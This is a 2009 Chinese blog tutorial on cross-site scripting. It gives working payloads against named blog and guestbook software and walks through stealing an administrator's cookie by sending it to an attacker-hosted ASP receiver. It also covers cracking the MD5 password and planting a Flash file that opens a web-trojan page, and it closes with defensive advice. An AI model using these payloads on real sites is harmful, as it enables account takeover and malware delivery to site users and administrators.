跨站漏洞是由于程序員在編寫程序時(shí)對(duì)一些變量沒有做充分的過濾,直接把用戶提交的數(shù)據(jù)送到SQL語句里執(zhí)行,這樣導(dǎo)致用戶可以提交一些特意構(gòu)造的語句 一般都是帶有像JavaScript等這類腳本代碼。在這基礎(chǔ)上,黑客利用跨站漏洞輸入惡意的腳本代碼,當(dāng)惡意的代碼被執(zhí)行后就形成了所謂的跨站攻擊。一般來說對(duì)于人機(jī)交互比較高的程序,比如論壇,留言板這類程序都比較容易進(jìn)行跨站攻擊。
利用跨站漏洞黑客可以在網(wǎng)站中插入任意代碼,這些代碼的功能包括獲取網(wǎng)站管理員或普通用戶的cookie,隱蔽運(yùn)行網(wǎng)頁木馬,甚至格式化瀏覽者的硬盤,只要腳本代碼能夠?qū)崿F(xiàn)的功能,跨站攻擊都能夠達(dá)到,因此跨站攻擊的危害程度絲毫不亞于溢出攻擊,下面我們就來了解一下跨站攻擊的主要攻擊形式。
一.跨站攻擊常用的腳本代碼
跨站攻擊都是通過腳本代碼來實(shí)現(xiàn)的,通過寫入不同的腳本代碼來實(shí)現(xiàn)不同的功能,跨站攻擊中常用的腳本代碼有如下幾段:
<script>alert("網(wǎng)站存在跨站漏洞");</script>,當(dāng)用戶瀏覽到插入有這句代碼的網(wǎng)頁時(shí),將會(huì)彈出一個(gè)警告對(duì)話框,對(duì)話框中的內(nèi)容為“網(wǎng)站存在跨站漏洞”,內(nèi)容部分可以隨意更改。
<script>window.alert(document.cookie);</script>,這句代碼將會(huì)彈出一個(gè)包含有瀏覽者cookie信息的對(duì)話框,如果用戶已經(jīng)通過帳號(hào)登陸網(wǎng)站,在顯示的cookie信息中將會(huì)包含有用戶的賬戶名和密碼。
<script>window.open('
http://www.pete.cn/default.asp','newwindow','width=200,height=200');</script>,當(dāng)用戶瀏覽該頁時(shí),將彈出一個(gè)高為200,寬為200的網(wǎng)頁窗口,在其中打開的頁面是http://www.pete.cn/default.asp
上面這些跨站攻擊時(shí)常用的腳本代碼,和我們平時(shí)使用的一些代碼并無兩樣,為什么到了黑客手中卻是一件武器?這些代碼又是如何在跨站攻擊中發(fā)揮強(qiáng)大作用的呢?下面我們將通過幾個(gè)實(shí)例,來了解跨站攻擊的主要形式和這些腳本代碼在攻擊過程中的作用。
二.跨站攻擊的簡(jiǎn)單實(shí)例
首先我們得找到有跨站漏洞的程序,這類程序很多,例如論壇、博客、留言板程序,其中很大一部分都存在跨站漏洞。例如第6期報(bào)紙上我們?cè)鴻z測(cè)過的L-blog,由于其申請(qǐng)友情連接的文件對(duì)特殊字符過濾不嚴(yán),形成跨站漏洞,在其友情連接的說明文本框中可以輸入跨站腳本代碼,從而造成跨站攻擊。
通過百度以“L-Blog V1.10 AIO”為關(guān)鍵字進(jìn)行搜索,可以找到很多該版本的L-Blog程序,進(jìn)入L-blog的主頁,在頁面下方找到“首頁友情鏈接”,點(diǎn)擊“更多友情鏈接”進(jìn)入其友情鏈接的設(shè)置界面。在其鏈接的“名稱”文本框中輸入“<script>alert("網(wǎng)站存在跨站漏洞");</script>”(不帶引號(hào),下同),“地址”一欄可以隨便填,最后點(diǎn)擊“提交你的站點(diǎn)”。這樣我們就將跨站腳本寫入了數(shù)據(jù)庫,接下來要做的就是等待管理員驗(yàn)證鏈接申請(qǐng)。
當(dāng)管理員登陸L-blog的后臺(tái)管理,點(diǎn)擊“鏈接驗(yàn)證”選項(xiàng)后就會(huì)運(yùn)行我們的跨站腳本,彈出一個(gè)警告對(duì)話框。當(dāng)然我們這里的腳本代碼只是起到提醒作用,并沒有任何破壞性。如果插入的是惡意的腳本代碼,后果將嚴(yán)重得多。
圖1.彈出警告對(duì)話框
三.通過跨站攻擊獲取cookie
cookie包含著用戶的重要信息,包括用戶在這個(gè)網(wǎng)站上的ID,密碼、瀏覽過的網(wǎng)頁、停留的時(shí)間等信息。跨站攻擊的最主要危害就是可以獲取用戶的cookie,包括網(wǎng)站上所有用戶的賬戶名和密碼,管理員也不例外。一但黑客從管理員的cookie文件中破解出密碼原文,那么網(wǎng)站很可能被黑客滲透。
本例我們以一款著名的留言板程序——桃源多功能留言板 V2.0來進(jìn)行演示,該版本的“桃源多功能留言板”程序在用戶注冊(cè)文件和用戶資料文件中皆存在跨站漏洞。我們先注冊(cè)一個(gè)用戶,注冊(cè)的時(shí)候在“個(gè)人主頁”一項(xiàng)的文本框中輸入“http://<script>window.alert(.);</script>”,其他項(xiàng)可以隨便填。這樣當(dāng)管理員點(diǎn)擊首頁上的“用戶管理”鏈接時(shí)將會(huì)運(yùn)行我們的跨站腳本代碼,同時(shí)會(huì)彈出管理員自己的cookie信息。
雖然管理員可以看見自己的cookie信息,但是黑客又是如何得到管理員的cookie信息的呢?這就需要我們構(gòu)造一個(gè)用來接收cookie信息的文件,并在跨站的腳本代碼上進(jìn)行相應(yīng)的修改。
首先新建一個(gè)文本文檔,在文檔中寫入接收cookie信息文件的內(nèi)容,代碼內(nèi)容如圖2所示。然后將這個(gè)文本文檔保存為test.asp,并上傳到一個(gè)支持asp的網(wǎng)頁空間(空間必須支持FSO組件,否則測(cè)試將不能成功)。回到“桃源多功能留言板”,點(diǎn)擊“修改資料”,將其中的“個(gè)人主頁”一項(xiàng)修改為“http://<script>window.open('http://...g='+.)</script>”。
圖2.接受cookie信息的文件
當(dāng)管理員運(yùn)行這段腳本代碼后,并不會(huì)彈出自己的cookie信息,甚至沒有任何提示,因此隱蔽性很高。在此期間,我們已經(jīng)準(zhǔn)確地獲取到了管理員的cookie信息。接收到的cookie信息會(huì)保存為“日期+時(shí)間”形式的文件。
圖3.截獲到的管理員cookie信息
在cookie信息中包含著管理員的賬戶名和密碼,雖然密碼是用MD5加密算法進(jìn)行加密的,但是仍可以通過暴力破解得到密碼的原文,對(duì)于一些不是很強(qiáng)壯的密碼,則可以在很短的時(shí)間內(nèi)得出。此外還可以通過cookie欺騙的方法登陸網(wǎng)站,進(jìn)行一些只有管理員才能進(jìn)行的操作。
四:flash文件中的跨站陷阱
跨站攻擊的形式是多樣的,不僅可以在網(wǎng)頁中插入跨站腳本代碼,而且可以在flash文件中插入跨站腳本代碼,實(shí)現(xiàn)跨站攻擊。由于flash文件有較高的安全性,用戶通常對(duì)flash文件的警惕性不夠,因此用flash文件進(jìn)行跨站攻擊的成功率很高。如果將這個(gè)含有跨站腳本代碼的flash文件插入到網(wǎng)頁中,例如制作成網(wǎng)頁banner或者廣告,那么中招的用戶將更多。
flash跨站是通過在flash文件中插入動(dòng)作腳本來實(shí)現(xiàn)的,通過在flash文件“幀”的“動(dòng)作”中插入跨站腳本代碼來實(shí)現(xiàn)跨站攻擊,其實(shí)現(xiàn)方法入下:
首先運(yùn)行flash文件制作工具flash8.exe,新建一個(gè)空白的flash文檔。然后選中其中的第一幀,進(jìn)入界面下方的“動(dòng)作”編輯界面,在Action Script中插入我們的跨站腳本代碼:
getURL("http://網(wǎng)頁木馬地址", "_blank", "GET");
loadMovieNum("http://www.pete.cn/test.swf", 0);
圖4.插入跨站腳本代碼
其中第一句可以讓打開這個(gè)flash文件的用戶運(yùn)行網(wǎng)頁木馬,而后面一句的作用是打開一個(gè)普通的flash文件,目的是為了不引起用戶懷疑。制作完畢后點(diǎn)擊“文件”菜單→“導(dǎo)出”→“導(dǎo)出影片”,將這個(gè)flash文件導(dǎo)出為swf格式即可。用戶運(yùn)行這個(gè)flash文件后將會(huì)打開含有木馬的網(wǎng)頁。
五.防范跨站攻擊
跨站攻擊相對(duì)于其他網(wǎng)絡(luò)攻擊而言顯得更隱蔽,也更難防范。很多時(shí)候問題并不出在用戶身上,而是由于網(wǎng)站的問題,即使我們裝了防火墻,也對(duì)跨站攻擊無能為力,因此防范跨站攻擊我們得從兩方面入手,即網(wǎng)站方面和個(gè)人用戶方面:
1.過濾特殊字符
在網(wǎng)站程序處過濾特殊字符,這是防范跨站腳本攻擊最為有效和徹底的方法。在不影響網(wǎng)站程序正常運(yùn)行的前提下,我們可以在網(wǎng)站程序的表單輸入處過濾掉“javascript”、“<script>”、“#”、“&”等字符,這樣就可以防范大部分的跨站攻擊。
2.限制輸入字符的長(zhǎng)度
對(duì)于一些可以進(jìn)行跨站攻擊的表單對(duì)象中,我們可以限制其輸入字符的長(zhǎng)度。跨站腳本代碼往往較長(zhǎng),如果限制了輸入字符長(zhǎng)度,也可以起到很好的防范作用。這個(gè)功能可以在數(shù)據(jù)庫中設(shè)置,也可以編寫一段程序代碼來實(shí)現(xiàn)。
3.限制用戶上傳flash文件
使用flash文件進(jìn)行跨站攻擊可謂防不勝防,如果不能檢測(cè)用戶上傳的flash文件的安全性,索性限制用戶上傳flash文件,以徹底阻斷flash跨站攻擊的途徑。
4.提高IE瀏覽器的安全等級(jí)
個(gè)人用戶防范跨站攻擊有一定的難度,但仍可以通過設(shè)置來降低被攻擊的概率。運(yùn)行IE瀏覽器,選擇“工具”菜單→“Internet 選項(xiàng)”,切換到“安全”標(biāo)簽,將安全級(jí)別設(shè)置為高,同時(shí)可以在“自定義”中進(jìn)行詳細(xì)的設(shè)置,將一些不需要運(yùn)行的腳本禁用。但是這樣設(shè)置后會(huì)造成一些正常的頁面無法打開,如何取舍就看各位了。
圖5.提高瀏覽器的安全等級(jí)
5.增強(qiáng)安全意識(shí)和防范措施
安裝殺毒軟件是必須的,碰到那些插入網(wǎng)頁木馬的跨站攻擊,即使跨站成功,我們運(yùn)行了網(wǎng)頁木馬,殺毒軟件仍能在最后一步將木馬攔截下來。此外,用戶需要“收斂”對(duì)那些具有誘惑力鏈接的好奇心,同時(shí)“吝嗇”自己的鼠標(biāo)點(diǎn)擊,不輕易點(diǎn)擊陌生鏈接。在不同的地方使用不同的密碼,即使黑客通過跨站攻擊獲取了你的cookie,并破解出了你的密碼原文,這樣你損失的也只是一個(gè)賬戶而已,不至于全軍覆沒。
posted on 2009-12-04 11:45
xnabx 閱讀(604)
評(píng)論(3) 編輯 收藏